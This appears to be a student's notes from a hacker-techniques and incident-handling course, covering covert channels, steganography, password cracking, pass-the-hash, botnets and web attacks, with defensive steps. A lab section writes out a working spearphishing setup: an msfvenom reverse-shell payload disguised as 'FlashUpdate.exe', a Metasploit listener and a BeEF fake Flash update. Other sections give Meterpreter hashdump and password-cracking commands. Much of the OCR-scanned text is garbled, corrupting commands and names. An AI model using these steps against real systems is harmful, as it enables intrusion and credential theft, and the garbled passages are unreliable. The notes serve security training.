• Msyslog from Core Labs
( includes remote syslog and integrity-checking capabilities
• Identification
— Lookfor gaps in logs
— Look for corrupt logs
• Cont, Erad, Recov: N/A

5.7 Covering Tracks on the Network:
Tunneling and Covert Channels

• You can carry any protocol on top of any other protocol
• First protocol is encapsulated inside packets for second protocol
— Network sees only second protocol

• Example:
— X Windows over SSH
— IP inside IP
— IP over CP (the Avian Transport Protocol!)
• RFCs 1149 and 2549

Reverse HTTP Shells:

• Will work through web proxies
- Uses HTP GET command
— Even supports authenticating through a web proxy with static password!

ICMP Tunnels:
Covering the Tracks on the NetworlclCMPTunnels
• Numerous tools early data inside the payloads of ICMP packets
- Ptunnel (TCP over ICMP Echo and Reply), Loki (Linux shell), ICMPSheU (Linux), PingChat (Windows chat program), ICMPCmd (Windows cmd.exe access), and more
• Let’s focus on Ptunnel
— Written by Daniel Stodle, available at http://www.cs.uitno/—’daniels/PingTunnel/
— Runs on Linux or Windows
— Carries TCP connections inside ICMP Echo and ICMP Echo Reply packets
— Author talks about using it “for those times when everything else is blocked”

Ptunnel Features:

• Attacker configures Ptunnel client to listen on a TCP port, from which it grabs data and forwards to the Ptunnel Proxy
• Attacker also configures Ptunnel client with an ultimate destination IP address
• Client program on attacker’s machine makes a TCP connection to the chosen port on locaihost, Ptunnel client sends packets to Pthnnel proxy in ICMP payloads, and Ptunnel proxy dc-encapsulates TCP and forwards connection
• MD5-based challenge/response authentication between client and proxy
• Currently, no encryption between client and proxy

• Ptunnel consists of two components: the Ptunnel client and the Ptunnel proxy.

1) Ping request with TCP packet in payload.
2) Rng reply with TCP response
3) PTunnel Client received the response
4) TCP Connection to PTunnel Proxy Established over any TCP ports on the Internet.

Ptunnel consists of two components: the Ptunnel client and the Ptunnel proxy. The attacker configures the Ptunnel client to listen on a given TCP port on the localhost interface of the client machine. In addition, the attacker must configure the Ptunnel proxy, which runs on an external machine, accessible via ping packets from the Ptunnel client.
Finally, the attacker configures the Ptunnel client with a given ultimate destination address. That destination machine can provide any TCP-based service, including HTTP or Secure Shell. Note that the Ptunnel client software is configured with this destination address, which it tells to the Ptunnel proxy for each packet that it sends.
The attacker then runs some TCP-based client program on the attacker’s machine, directing it to connect to the localhost interface on the TCP port where the Ptunnel client is listening. The Ptunnel client takes the TCP packets, encapsulates them in ICMP Echo packets, and forwards the resulting packets to the Ptunnel proxy.
From a network perspective, only ping packets (with the TCP packet as the payload) are being sent. The Ptunnel proxy then de-encapsulates the TCP packet and forwards it to its ultimate destination simply using TCP. Likewise, the Ptunnel proxy encapsulates any responses that come back from that destination into ICMP Echo Reply packets, forwarding them back to the client.
The Ptunnel proxy can be configured to authenticate the Ptunnel client, using an MD5-based challenge/response authentication algorithm. Currently, Ptunnel does not support encryption. However, if the application using the TCP-based connection encrypts the data (such as HTTPS or SSH), the attacker would have some degree of protection of the data.

Covert Channels in TCP and IP Headers:

- why not just create a covert channel using extra space in the TCP or IP header?
- Covert_TCP is one tool that implements a covert channel using either the TCP or IP header.

Extending the Ideas of Covert_TCP:
• Transfer Trojan Horse backdoor commands or shell instead ofjust files
• Bi-direcfional bounce attack
• Use other fields in the TCP, IP, and ICMP headers
— Reserved space
— IP options
— ICMP message type

Other Covert Channels:
• Just about any protocol can be used as a covert channel
— DNSCat2 by Ron Bowes and numerous other maiware specimens
• Quick UDP Internet Connection (QUICK)
— Use of multiplexed UDP connections for connections
• Stream Control Transmission Protocol (SCTP)
— Also uses multi-streaming to send data across multiple concurrent connections
— Supports multihoming so multiple endpoints can be used as failover
— Yeah, this means it has built-in C2 server failover
• The goal of attackers using odd protocols for transfer is to find new areas where existing signatures do not exist
• Also, there are some issues with reassembly across multiple concurrent streams of data being sent.

Full C2 backdoor where all Command and Control traffic flows over Gmail.
• Originally created by Ben Donnelly of BHIS
• Currently maintained by byt3bl33d3r
• Supports:
— Command execution
— Screenshots
— Download and upload of files
— Keylogging
- Execution of sheilcode
• Bypasses many DLP/ID$/IPS systems
• Many IDS/IPS/Firewalls are not monitoring Gmail traffic very well

Covert Channel Defenses (I):
• Preparation
— Keep attackers off system in the first place
• Identification
— Know what processes should be running on your systems
• When a strange process starts running, investigate
• Especially if it has admin/root privileges
— Network-based IDS can analyze packets for:
• Shell commands in HTTP (for reverse www shell)
• Unusual data in ICMP messages (for ICMP tunnels)
— false positives associated with network management equipment
• Unusual changes in IP ID and Seq/Ack fields (for Covert_TCP) — pretty hard to do.

Lab: Covert Channels:

Plain Sight Covert Channels
• Not all backdoors use plaintext to transmit data
• Many use other protocols
— HTfP8
• Others hide in plain sight
— For example, HTTP

• Every custom web application has data and fields that are encoded and transmitted differently
- For example, session parameters, hidden form elements, etc.
• It is almost impossible for full inspection of all these different variables
• Let’s take a look at a backdoor that uses this technique
• It also beacons at 30-second intervals
- a very common technique for modern malware.

VSAgent (I):
• Custom backdoor written by the Black Hills Information Security team
— Special 504 version wntten by Luke Baggett
• Encodes all Command and Control (C2) in base64
• Then, inserls it into a WEW$TATE parameter
• The encoded data is sent in the clear
• Very difficult to detect

If, for any reason, you need to remove results from a previous session please feel free to run the following command and restart vsagent:
#rm /opt/course_www/SEC5O4/vsagent-504/data.db

VSAgent (II):
rootslingshot# python /home/sec56e/CourseFiles/vsagent-504/ http://127.O.,O.1/SEC5O4/vsagent—504/vssvc.php

Open another prompt and
sec504@slingshot:~$ firefox

Now, we will use Firefox to connect to the web UI for VSAgent.

#tcpdump -i lo -s0 -A host | grep VIEWSTATE

Lab: Covert Channels
• Run some commands and decode the data
• Hints:
— The data is base64 encoded
— There are characters that are hex-encoded characters (Le., linefeed, =, etc.). which can pollute the decoding of the base64 data
• The offending characters will need to be removed or converted!
• awk gsub is your friend!
— $ echo cat dog dog | awk ‘{gsub(/cat/,”dog”)}1’
— Will output dog dog dog
• Base64 --decode will decode the data
• It should look something like this:
— $ echo <paste your string here> | <awk command here> | <Base64 decode here>
• But, there is more than one path!
— Ruby! Python! Perl!
• Don’t forget to use the man pages!!

One Possible Solution:
rootsllngshot :-# echo eyJjb%1tYW5kcyI6IFtdLCAiYWUThnQiOiAiMDA6MGM6Mjk6Nzk6M%U6NTkifQ3D%3D | | awk '{gsub(/%0A/,""); gsub(/%3D/,"=")}1' | base64 --decode;

In Conclusion
• Detecting and decoding covert channels can be hard
• However, with a little work, we can peer into the commands of the bad guys
• Please try out this tool at work
— With permission, of course
• You can convert the python script to .exe with tools like pylnjector, pyinstaller, and py2exe.

You can convert the python into a .exe and get real fancy with tools like pyinstaller, pyInjector, and py2exe. The following link is an article on how to do this by Mark Baggeft (Luke’s dad):

Covert Channel Defenses:
• Containment
— Delete attacker’s program
— Look for program on other systems
• Eradication
— If attacker compromised admin/root account, rebuild
• Recovery
— Monitor system very closely


Steganography (Stego):
• Steganography abbreviated as stego, not to be confused with stenography
• Involves concealing the fact that you are sending “sensitive” information
• Data hiding
• Can hide in a variety of formats
- Images
— Word documents
— Text documents
— Machine-generated images
(fractals, complex words of animals/flowers/people...)

Sample Stego Tools:
• The following are some example programs:
— Jsteg — hides in jpeg images using the DCT coefficients
— MP3Stego — hides in mpeg files
- S-Mail — hides data in exe and dil files
— Invisible Secrets — hides data in banner ads that appear on websites
— Stash — hides data in a variety of image formats
— Hydan — hides data in UNIX/Linux and Windows executables

More Stego Tools:
• There are a number of excellent tools for hiding data in a variety of different formats
• Open$tego — Embeds data and digital watermarks into images
• SilentEye Embeds encrypted data and other files into JPEG, BMP, and WAVE formats
• OpenPuff — Great support for images, audio, video, and flash-Adobe files
- Also supports multipassword support
- Plausible deniability
- Multiple rounds of encryption with different algorithms for additional stego tools, check out the following site:

Setgo Example — Hydan:
• Hydan hides data in executables written for 1386
— Written by Rakan E1-KhalIl
- Supports *BSD, Linux, and WinXP Øp
• Start with an executable, as well as message to hide
• Feed both through Hydan
• Hydan encrypts the data with blowfish with user-provided passphrase, and then embeds the data
• Result: one executable, same size
• Take the resulting executable... it’ll still run
• However, by sending it back through Hydan, the original message can be recovered.

How Hydan Hides Info:
• First off, it just encrypts the message using blowfish
• Next, it uses polymorphic coding techniques to hide the data
• Hydan has several groups of functionally equivalent instructions
— Add X, Y versus Sub X, -Y
• By choosing an instruction from one group, we get a “zero” bit
• By choosing an instruction from another group, we get a “one” bit
• Just encode all the bits like that!
• Then, rewrite the polymorphic executable.

Efficienty Rate and Detection:
• Hydan can hide one byte of data in approximately 150 bytes of code
• It does alter the statistical pattern of instructions in a program
— Think about how often you subtract a negative number (X minus —22)
— Usually, you just add (X plus 22)
— Therefore, there’s a possible signature here,..
• Consider a histogram of instructions and how it would change
• Craig S. Wright developed a tool for detecting these anomalies to identify “Hydanized” executables
— Described at

Detecting Stego:
• StegExpose: Java utility to detect stego in lossless images where Least Significant Bit (LSB) techniques
— This stego is where the least significant bits, which determine color, are modified
— This leads to a very slight (think imperceptible) change of color made to the original image
• Supports a number of different “detectors” or mathematical analysis techniques to detect stego
• For quick analysis, it can also use “cheap” or quick analysis methods to detect the presence of stego
• Has the ability to run on a large number of files very quickly
• It can be found here:

Defending Against Stego (I):
• Preparation
— Get familiar with stego tools
— Look for changes to critical web server files (file integrity-checking tools)
• Identification
— If you have the original source image, detection is easy
• Perform a cliff or file comparison and see whether they are different
• MD5 or SHA-; hashes can help
• Stego might not change the size or make any observable changes, but it does change the data

Defending Against Stego (II)

— If you are working an HR or legal case, take direction from your legal team
• Many times, this will involve watching a suspects system for an extended period of time
• Remember S-Tools changes the number of near-duplicate colors
• Not easy to do
• Usually requires determining statistics or large number of clean files to come up with unique properties
• Containment
— Work with law enforcement and HR
• Erad, Recov: Work with your company’s legal team.

Putting It All Together:
• We’ve discussed each of these tools on a one-byone basis
• The tools are seldom employed this way
• They are often used together in very elaborate schemes to effectively undermine the security of an organization
• We now go through two structured sample attacks, drawing on the ideas and tools we discuss throughout the course.

Mistake Number 10:
- this scenario could be written because of the data retrieved from logs.
- the information associated with the intrusion was available, but it was not analyzed until after the damage was done.
- we need to be proactive about log analysis.

• Numerous podcasts provide in-depth information about security
— Security Weekly Podcast:
— Network Security Podcast:
— Securabit Podcast:
— Data Security Podcast:


4) 504.4 - Computer & Network Hacker Exploits, Part 3 quick notes

504.4 - Computer & Network Hacker Exploits, Part 3

4.2 Password Attacks

User passwords must be protected against:
- unauthorized disclosure
- unauthorized modification
- unauthorized removal

Solution: Store only encrypted or hashed passwords.
- often referred to as password represantations
- Windows stores them in the SAM database and in Active Directory
- Modern Linux systems typically store them in the /etc/shadow file

What is password guessing?
Password guessing across the network:
- find valid userID
- create list of possible passwords
- try typing in each password
- if system allows you in, success
- if not, try again

Use a script or automated tool to improve speed and accuracy:
- still, maximum speed typically between one guess every 3 seconds and at most five guesses per second
- much slower than password-cracking attacks.

Could trigger account lockout!

- in webapps, we try a found password, for all the found user IDs. In a network we find a user ID and try different passwords to logon.

Password-Guessing Alternative: Password Spraying

- to avoid triggering account lockout, attackers sometimes attempt an alternative form of password guessing called password spraying. Try a small number of potential passwords against a large number of account on a large number of target machines.
For example, try 4 passwords for Account A, then the same 4 for Account B, and so on.
Then, if no centralized authentication mechanism is employed, move from System 1 to System 2 until bad login counter expiration timer resets.
Choose common words, such as city names, company names, product names, and local sports teams.
Choose names based on password reset intervals:
- example, every 90 days, reset? Try Spring2017 and Summer2017.
THIS is an amazingly effective technique!!!!!!

THC Hydra Password Guessing:
- guesses passwords
- dictionary support
- support many many protocols
- RDP protocol finally added!!!!!!

What is Password Cracking?
Determining a password when you have only the password file with cipher text password representations:
- find valid user ID
- find encryption algorithm used
- obtain encrypted password
- create list of possible passwords
- encrypt each password
- see if there's a match

- prepare a dictionary
- prepare combinations of dictionary terms and appended/predended characters
- automate and optimize

EVERY TIME you find a password, test it against all found services such as telnet, ssh, RDP, with psexec, etc!!!!!

Methods of Password Cracking
Dictionary attack
- using a word list

Brute force attack:
- iterating through character sets

Hybrid attack:
- a mix of the two
- sometimes called 'word mangling'

Tools such as Cain and Abel, John the Ripper, and Hashcat perform such attacks!

Dictionary Attacks
Involved using a predetermined list of password.
Because most people use common words as passwords, this technique guesses a high percentage of passwords.
Also, you can check concatenation of words:
- dictionary may contain 'dog'
- you could try 'dog', 'dogcat', 'dogcatpassword1234' and so on
- begins to approach a form of hybrid attack

Brute Force attacks
- try every possible password until  you are successful:
Weigh characters are more likely to be used in passwords more heavily!

Battle between resources (time, memory, and CPU speed) and complexity of algorithm and password.
The amount of time required for this type of attach heavily depends on the complexity of the password encryption or hashing algorithm:
- some algorithms are fairly strong
- others are notoriously weak (for example, Microsoft's LANMAN)

Hybrid Attacks:
- start with a dictionary
- concatenate items (numbers, letters) to the dictionary words. Example: password12.
More advanced hybrid attacks:
- shave characters off the dictionary term
- make 'leet' speak substitutions in dictionary terms
A-> 4, E-> 3, T -> 7, etc.

Sometimes called word mangling.
John the Ripper includes fantastic word-mangling rules for determining potential passwords.
Rob Bowes and the team at have conducted experiments using consecutive three-word hybrids from Wikepedia with good success:
- separating words with space, +, and underscore (for example: to+bodly+go).
How can password cracking be used for good purpose?

Recovering forgotten or unknown passwords!

Audit the strength of passwords:

- make sure you define what is unacceptable in advance (crack in <1 hour or 20 hours?)
- make sure you don't store cracked passwords
- make sure you have a process of forcing users to change cracked passwords.

Don't use it for migrating users to a new platform:

- could hurt nonrepudiation, impacting cases:
Internal employees who are suspects could claim that you had their passwords and have therefore framed them!

Dump passwords with fgdump, hold them for 90 days and then crack them (in your organization); if you don't there could be legal ramifications because you cracked current passwords in use.

You crack the passwords because you verify technical controls and not to find weak passwords!
If you can crack passwords, it's not the users' fault, but it's yours because you didn't implement the technical controls in place, to allow for more secure/complex passwords!

Cain & Abel:
Cain under the Hood: LANMAN Hashes
- by default, both the LANMAN and NT hashes are stored on Windows NT/2000/XP/2003
- we still see them used in more modern AD environments for reverse compatibility
- LANMAN hashes are weak; start removing them:
On Windows 2000/XP/2003, password of 14 characters or less are hashed
- pad to exactly 14 characters
- split the 14 chars into two 7-character strings
- use each 7-byte string as a DES key

It's like they went out of their way to make it easy to crack!
Complexity of the attack is against 7-character password.
If an account has a password that's 15 or more characters on Win NT, SP4+, 2000, XP,2003 that account won't have a LANMAN hash - that's good.
Windows 7 -> 10 do not include LANMAN hashes by default:
- however, even though recent Windows versions don't store them in the registry or the running LSASS process, some programs still calculate and hold them in memory!

Benchmark Results against LANMAN representations
Brute force attack on LANMAN hashes using a single top-of-the-line PC with quad processors.
- alpha-numeric characters: < 2 hours
- alpha-numeric-some symbols: < 10 hours
- alpha-numeric-all symbols: < 120 hours.

So, no matter what the password is (as long as it doesn't have [alt] characters), the LANMAN hash can be cracked within 5 days:
- adding [Alt} sequences to utilize Unicode characters boosts this time by several orders of magnitude, requiring many months of years to crack
- also, some [alt] characters force Windows not to store a LANMAN hash:

NT hash authentication is better, but not great:
- uppercase/lowercase are preserved (thankfully)
- password is hashed using MD4 to create 16-byte hash
- if the password is greater than 14 characters, no LANMAN hash is stored

For both LANMAN and NT hashes, no salts are used, speeding up the attack process (UNIX uses salts):
- users with identical passwords have the same hashed value
- you can precompute a dictionary of hashed passwords and compare against it

No Salts in Windows SAM for LANMAN and NT Hashes!
- a salt is a random number used to seed the crypto algorithm. Windows doesn't use salts for passwords; UNIX does.
- on Linux and UNIX, each have a salt (modern LINUX systems have 8 character salts).

No salts in Windows: so what?
- without salts, an attacker can create an encrypted dictionary in advance and load it into RAM or a big file
- then, cracking consists of rapid compares against encrypted dictionary entries. No encryption on-the-fly is required before the compare.
- with salts, you need one encrypted dictionary for each salt:
With 16-bit salts, you need tens of thousands of pre-encrypted dictionaries.
With 64-bit salts, the number of dictionaries shoots way up: high impractical to store the number of pre-encrypted dictionaries.

Password Cracking from Rainbow Tables
- you can create encrypted/hashed password representations in advance:
Store them in RAM (1-2 Gigs) or generate giant indexed files on the hard drive.
In essence, you can pregenerate tables mapping hashes -> passwords and then just look up hashes in a massive table to determine the password.

Project Rainbox Crack provides software and free tables:

The Free Rainbox Tables project provides free tables and lookup tools:

Other projects crack other types of hashing/crypto algorithms:
MD5 Crack projects: looks up word based on unsalted md5 hash;

And, this feature is supported in Cain, a tool with a great deal of functionality, including cracking Windows passwords!
Cain and Abel tool
- feature rich
- Cain gathers information about local system (and sniffed data) and include a nice GUI.
- Abel runs in the background and allows remote dumping of information about a target.

Cain can crack numerous Windows password formats:
STORED in SAM and Active Directory:
- microsoft LANMAN
- NT Hash

STORED or used for authentication across the network:
- LM challenge/response (passed across the network)
- NTLMv1 and NTLMv2 (passed across the network)
- MS-Kerberos5 Pre-Auth

Obtaining the password hashes

- several ways to obtain the password hashes:
- we can use the LLMNR!!!

If administrator:
- dump password hashes from Domain Controller
- use Cain, Abel or pwdump tools
- pull from Volume Shadow Copy on domain controllers
- Fizzgig's fgdump, which shuts down AV tools:

- use Metasploit Meterpreter hashdump script to pull them from memory or hashdump command to pull from registry:
meterpreter> hashdump             <-- pulls from memory
meterpreter> run hashdump         <-- pulls from registry

If not administrator:
Boot into another operating system (such as Linux) and copy the SAM:
- one such tool is by P.Nordahl at
- obtain a copy from c:\windows\repair or backup directory
- obtain a copy from a tape or emergency repair disk
- sniff passwords off the network using Cain's sniffers!

When you are hacking, you are doing abnormal things to computer systems!
Never dump passwords from a domain controller with "hashdump" or "run hashdump", it will crash your domain controller!
Instead do Volume Shadow Copy on domain controllers!

Tricking Users to Send Password Hashes
You could send an email to users that tricks them into clicking a link (using either file:// or smb://) to mount a file share on the attacker's machine.

- if their client has SMB access to an attacker-controlled system, Windows attempts to perform a challenge/response authentication using LANMAN Challenge/Response, NTLMv1, NTLMv2 or Microsoft Kerberos.
- Cain can sniff those exchanges and crack the passwords associated with them!

Defenses: Preparation
- get rid of LANMAN hashes on local systems
- disable LANMAN challenge/response authentication across the network, instead forcing network authentication to use NTLMv2.
- enforce the use of strong passwords
- have a password policy!
- implement SYSKEY
- it's an extra layer of encryption for the SAM Database
- protects only hashes when stored in the registry; they can still be grabbed from memory via tools like pwdump, fgdump, Cain and the Metasploit Meterpreter.
- protect your SAM database.
Disabling LANMAN Authentication
- stop storing LANMAN hashes by defining reg key:

- on the Edit meny, click Add Key, type NoLMHash, and then click OK.
- LM hashes disappear when user next changes password.

Stop sending LANMAN Challenge/Response across the network:
- LMCompatibilityLevel registry parameter.

Level3 - Send NTLMv2 authentication only - good for clients
Level5 - Domain Controller refuses LM and NTLM authentication (accepts only NTLMv2) - good for servers.
Compatibility issues with older versions of Windows.

Windows and third-party password complexity tools

Windows includes rudimentary password complexity enforcement:
- can be enforced with Group Policy, if you have Active Directory
- to thwart brute-force attacks and rainbow-table attacks, password length is often more important than complexity
- actually, password length is one of the most important tools you have to force passphrases and foil password attacks

Consider 20 or 30 character passphrases, if possible.


You must feed it an encrypted password file!
On a UNIX system without shadowed passwords, just feed it /etc/passwd.
With shadowed passwords, you need root-level access and must merge /etc/passwd and /etc/shadow

#unshadow /etc/passwd /etc/shadow > combined

For Windows passwords, just give john the text-based output from pwdump3 and fgdump.

- Hashcat is the next
password cracking tool, but it needs GPUs.

/etc/passwd has one line per account with colon-separated fields:
[login name] : [encrypted password]: [UID Number]:[Default GID] : [GECOS Info] : [Home Dir] : [Login shell]

Here’s an example:

smith:*:1OO:1OO:Fred Q. Smith:/home/smith:/usr/hin/sh

If passwords are shadowed, the [encrypted_password] field ‘will contain “x”, “*“, or "!!”

Some UNIX and Linux types support shadowed passwords, where password data is no longer in /etc/passwd

- /etc/shadow is readable only with superuser privileges (UID o)
- /etc/shadow also has one line per account as well, separated by colons

Linux /etc/shadow format is:

[login name] : [encryptedassword):
[Dat e of last pw change] 2 [Mm pw age in days]:
[Max password age in days]:
[Advance days to warn user of pw change]:
[Days after pw expires to disable account]:
[Account expiration date] : [Reserved]

John's Cracking Modes

Single Crack Mode:
- uses variations of account name, GECOS and more

Wordlist Mode:
- uses dictionary and hybrid

Incremental Mode:
- uses brute force guessing

External Mode:
- uses an external program to generate guesses

John supports (and autodetects) just about any formats.

Cracked password printed on the screen and stored in the file john.pot.
Remember to remove this file when you finish with a password audit.
If a password doesn't crack in a few seconds/minutes, it probably will take a long time to crack!

Defenses: Unix password cracking: Preparation
- establish password policy
- guard the password file! carefully protect backups, physically protect system built media.
- enforce the use of strong passwords with PAM or related tool!
- use shadow passwords.
- use other forms of authentication: crypto-based and token-based!

Use PAM to Enforce Password Complexity
PAM = Pluggable authentication modules.
Can link UNIX login to various systems: Radius, Kerberos and more.
Can enforce password complexity:
- specific module available at
- works for Linux, FreeBSD, and Solaris.

Lab John the Ripper
Creating Passwords to Crack
- create some accounts for temporary use:
#useradd homer -s /sbin/nologin
#passwd homer

#useradd marge -s /sbin/nologin
#passwd marge

#useradd lisa -s /sbin/nologin
#passwd lisa

#useradd bart -s /sbin/nologin
#passwd bart
<your choice!>

Retrieve Passwords on Linux
- on linux, account information is stored in /etc/passwd
Login Name and username are listed

Cryptographic representations of passwords are usually stored in /etc/shadow.
- verify that you have a shadow password file:
#cat /etc/shadow

On a system with shadowed passwords, to crack the passwords, the attacker uses both /etc/passwd and /etc/shadow.
For this lab, you work with a copy of /etc/passwd and /etc/shadow
#cp /etc/passwd /tmp/passwd_copy
#cp /etc/shadow /tmp/shadow_copy

Before cracking the passwords, the account (/etc/passwd) and password (/etc/shadow) information are combined into one file. The unshadow tool does this:

#unshadow /tmp/passwd_copy /tmp/shadow_copy > /tmp/combined

The combined file is used as input for John.
Make sure it has some data in it:
#less /tmp/combined

John automatically recognized the format of the input password file.
Look at John's dictionary:
#less /opt/john-1.8.0-jumbo/run/password/lst

John the Ripper Output
- hybrid guesses and scrambling are applied for each guess
- when a password is cracked, the results displays on screen
- while John is running, press the space key to get status and current guess.
- cracking could take from minutes to years, depending on the complexity of the passwords cracked.

Run John now:
#john /tmp/combined

Press the space key periodically to check status!
Let it run for only approximately 5 minutes!

Running John on Windows:
- next, run the Windows version of John the Ripper.
- unzip into a suitable directory on your hard drive (such as c:\tools)
- you have a SAM file on the course USB:
sam.txt in the Windows directory

c:\tools\run\>john.exe sam.txt
c:\tools\run\>john.exe sam.txt --format=nt sam.txt

Pass-the-Hash attacks
After an attacker has stolen the hashes, instead of cracking the original passwords, why not just use the hashes to authenticate to the target machine?
Windows completes LANMAN challenge-response, NTLMv1 and NTLMv2 entirely from the LANMAN and NT hashes stored for that user in the running LSASS process.
This approach saves a significant amount of time.
However, it does require the attacker to steal the hashes in the first place:
- so does password cracking.

1. Steal the hashes --> 2. Place hashes into memory --> 3. Access target using SMB.

Tools for Pass-the-Hash
Windows tool for passing the hash:
Windows Credential Editor (WCE) an improved version from Herman Ochoa that runs on Windows 7 and later.
Free at
Now also supprts 'pass-the-ticket' for Microsoft's implementation of Kerberos.
Linux tool for passing the hash: Modified SAMBA code from JoMo-Kun of Foofus.
Metasploit 'psexec'module supports pass the hash.
Either tool can also be used for attacking Windows targets and target Linux/UNIX SAMBA file servers.
Mimikatz is an outstanding tool for extracting clear-text passwords from memory. Can be used with Rubber Duckie.

Preparation: Maintain control of hashes:
- patch systems
- harden machines
- use endpoint security suites
- use host firewalls to block client-to-client connections, allowing inbound SMB to client systems only from admin machines.
- consider using a unique or pseudo-random local admin password different for each system.

Identification: Look for unusual admin activity on a machine:
- configuration changes, and so on.
- look for unusual machine-to-machine connections, such as clients attempting to mount shares on clients, servers connecting to servers, etc.
- LAPS from Microsoft
- use Application Whitelisting!

Cont, Erad, Recovery: change password immediately!!!!!

4.3 Worms, Bots, and Bot-Nets

Compromising systems onebyone can be such a chore
• Worms are attack tools that spread across a network, moving from system to system exploiting weaknesses
• Worms automate the process of compromising systems
— Take over one system
— From current victim, scan for new vulnerable systems
— Self replicate by using one set of victims to find and conquer new targets

To avoid this drudgery of compromising systems one at a time, attackers have increasingly turned to worms.

Worms automate the process of compromising systems.
Indeed, in the history of the Internet, worms have caused the widest spread damage of any computer attack techniques. For the uninitiated, worms are automated attack tools that spread via networks. A worm hits one machine, takes it over, and uses it as a staging ground to scan for and conquer other vulnerable systems. When these new targets are under the worm’s control, the voracious spread continues as the worm jumps off these new victims to search for additional prey. Using this process, worms propagate across a network on an exponential basis.

To date, most worms have had only one or two exploits built in: Witty, Sasser, Code Red, Slapper and such.
Ramen had 3 exploits (buffer overflow). Nimda had approximately 12 (buffer overflows, browser vulns, Outlook email problems, and more).

Polymorphic worm can change its signature base!

Metasploit has XOR payloads and encoders!
Veil has multiple AV bypass encoders!

Metamorphic Worms:
- beyond just changing their appearance, they will change their entire functionality!
- worm will contain encrypted/obfuscated payloads.

More worms are used to distribute bots!

Attacker takes over website - send link to victim - victim gets infected because or browser exploit (Java, Flash, etc) - attacker responds with loading bots and controls the computer!
Attacker communicate with their boths using IRC standard port (TCP 6667), HTTP(S) to one or more websites, DNS, Social Networking site profiles (youtube, google documents, etc).

Fast Flux techniques

Attackers want to preserve critical elements of their botnet infrastructure, such as possibly an IRC controller, phishing web server, or critical servers.
An investigator eqipped with the domain name and IP address of such systems can contact an ISP to get them taken offline or cleaned up.
Attackers are clever in disguising where thei critical backend resources are located. Fast Flux techniques add extra laters of obscurity!
It's easier for an attacker to use an infected computer and use Outlook to send a copy of the infected email to the contacts list of the victim. This way they take advantage of the trust relation between the victim and future victim or contacts!

Why not go after the DNS server hosting the record for
- DNS server is often hosted in a country without cyber crime laws
— Double-flux techniques make the attacker’s DNS server fluctuate in a similar fashion.

— Buffer overflow defenses help a lot here:
• Patches, non-executabie system stacks, and host-based IPS

A process for rapidly testing and deploying patches when available
— Use application whitelisting or Software Restriction PolIcies
- Encrypt data on your hard drives:
If its stolen by a worm or hot, attackers can’t read it unless they also steal the key

• Identification:
Antivirus solutions updated regularly (daily)
• At the desktop AND at the mail sener ... AND at the file server.

• Containment:
Incident response capabilities, linked with network management.
You may need to cut off segments of your network in real time.

• Eradication/Recovery:
- Use AV tool to remove infestation, if possible, or rebuild

BIG Lab:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/FlashUpdate.exe

cd /tmp/
python -m "SimpleHTTPServer" &

- start a new window
#msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost

- we will start Beef in a 3rd window:
#source /usr/local/rvm/scripts/rvm

#rvm use 2.1.5 -- default
cd /home/tools/beef/

#ruby beef

(the above is how we setup a spearphishing attack in real life!)

- in a real world environment we would use TinyURL or buy a domain and point it somewhere else, in order to obfuscate the true website!

Don't use the Metasploit exploits in BeEf, as it doesn't work the way you expect it!
Use instead the Social Engineering modules!
Then use the Fake Flash Update!
Under Image, change the HTTP IP address to your system's IP address and path.
Also change the CUstom Payload URI to
Click Execute!

Go back to the browser you opened with the website you sent to the victim!
Click Install!
Keep the Flash update, because it's trustworthy.... NOT :)
Browse back to the Meterpreter listener, where you should have a shell waiting for you!

This should help you understand how we get the initial foothold and then pivot into another system!

4.4 Virtual Machine Attacks
- detecting virtual machines
- this is a growing area of research in the computer underground which involves detecting virtual machines!
- we can use VMware, VirtualPC, Qemu and Xen.
- malicious code authors like to do this because they can run differently if they are on a virtual machine: helps confuse malware reverse engineering, it's also useful for attackers to find honeypots, and it could be a precursor to virtual machine escape!
In the past, this detection focused on detecting VMware tools or other artifacts in the file system. But attackers have gone way beyond such techniques!

Local Virtual Machine Detection
- goal: detect if you are inside of a virtual machine from within the machine.
- there are currently four categories of methods for locally detecting the presence of a virtual machine: looks for VME (virtuam machine environment) artifacts in processes, file system, and/or registry.
Look for VME artifacts in memory: the Red Pill looks for shifted Interrupt Descriptor Table. Scoopy looks for shifted Interrupt, Local and Global Descriptor Tables.
Look for VME-specific VMware hardware. Doo looks for specialized VMware hardware.
Look for VME-specific processor instructions and capabilities.
Covers nearly all the elements of the virtual machine.

- a true escape would allow an attacker in a guest to execute code on the host!
- vulnerabilities have been discovered that could lead to VM escape!

- it comes to architecture!
- keep your guests, hosts and especially the VME product itself patched thoroughly!
- hardening guide for VMware ESX server from Center for Internet Security available at
- be careful of the security implications of server consolidation and client cost-savings with virtuam machines!
- not just a honeyport issue but instead extends to production.
- don't mix weak systems with strong systems on the same VME.
- don' mix sensitive data and public data on same VME.
- virtuam machines are not firewalls; firewalls and firewalls!

4.5 Web Application Attacks

Open Web Application Security Project (OWASP). A great guide to Building Secure Web Apps and Web Services!

Account Harvesting:
- the ability to discern valid userIDs, by observing how the server responds to valid versus invalud authentication requests.
- attackers automate harvesting through scripts, using shell scripting with a tool such as wget or using Perk with CURL, a general purpose library for making web requests.
- script based harvesting depends on format of userID, whether it is numeric (exploit by incrementing through pattern) and user specified: exploit via dictionary file and permutations.

To determine valid and invalid userIDs we can spray userIDs against your logon portal!

Remember the need for a Good Password Set!
In the above case, we can use BurpSuite Pro to harvest accounts and try passwords!

- all authentication error messages must be consistent! There should be no differences between the bad UserID and good UserID/bad password conditions.
- userIDs should be tracked for a given number of bad logins and then temporarily lock out account. Account lockout could be timed to restore access after 30 minutes, or require a call to the help desk. Be careful about the cost of helpdesk calls for account lockout resets!
- slow down authentication and verification responses. Wait 5+ seconds for verification, then get longer as the failed logons/checks mount. This can be on a per IP/User Agent String basis.
- Identification: frequent login attempts with no activity even after successful login.
- Cont, Erad, Recov: N/A.

Command Injection:
These commands are ideal because:
— They don't require high privileges to execute and they are benign
— They show that there is outbound traffic from the target:
- And with nslookup, that outbound mechanism might not even be direct at all ... it could have been forwarded through one or more DNS servers, but it is still command execution!
— And they work in a blind fashion because the attacker can sniff to see if they worked without seeing the output of the command

- After the attacker verifies command execution, the attacker could have the target machine mount a share on another attacker controlled system and then transfer or execute programs on the target 
- Many automated scanning tools fail to find this flaw because they try to ping an unroutable RFC 1918 address of the attacker’s machine
- Manual verification is often required!

Command Injection Defenses:
— Educate developers to be careful with user input
